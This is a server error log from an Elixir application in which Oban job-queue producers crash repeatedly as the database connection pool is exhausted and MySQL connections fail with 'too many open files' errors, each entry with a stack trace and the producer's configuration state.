[Sat Sep  5 22:48:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1010ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:48:24.239047Z], limit: 3, uuid: "c87279ce-3120-4b2e-8a0d-48fda7e95f88", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:24.239053Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236346>, refresh_timer: #Reference<0.2525715032.1121189889.94832>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:48:24.237694Z], limit: 10, uuid: "c906dbff-6dfd-4985-8d71-446f9ff43090", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:24.237701Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236345>, refresh_timer: #Reference<0.2525715032.1121189889.94819>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:36.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:48:24.242547Z], limit: 20, uuid: "3ed8c673-6646-4b13-9f7b-67924bdb9b23", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:24.242552Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.244477>, refresh_timer: #Reference<0.2525715032.1099169794.244474>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:48:24.237736Z], limit: 5, uuid: "e66aa8e0-0507-45b2-9f6a-78a6b2b06c11", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:24.237741Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.94844>, refresh_timer: #Reference<0.2525715032.1121189889.94822>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:36.637000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:38.442000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:39.657000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:44.632000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:46.326000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:47.966000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:48.110000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:48.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:48:36.240379Z], limit: 20, uuid: "1b1f61ca-0220-427b-acec-64060b2a8241", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:36.240426Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236641>, refresh_timer: #Reference<0.2525715032.1068236804.236618>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:48.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:48:36.238998Z], limit: 5, uuid: "c8614d1f-c624-4245-a4f4-97c093bf007d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:36.239003Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236643>, refresh_timer: #Reference<0.2525715032.1068236804.236596>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:48:36.240866Z], limit: 5, uuid: "215ca5b3-4f88-4ff7-95ee-630db0af5b13", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:36.240872Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236642>, refresh_timer: #Reference<0.2525715032.1068236804.236633>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:48.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 851ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:48:36.238792Z], limit: 50, uuid: "7952ea75-0529-4f2f-94b6-e3e5cab89e5a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:36.238798Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.236644>, refresh_timer: #Reference<0.2525715032.1068236804.236586>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
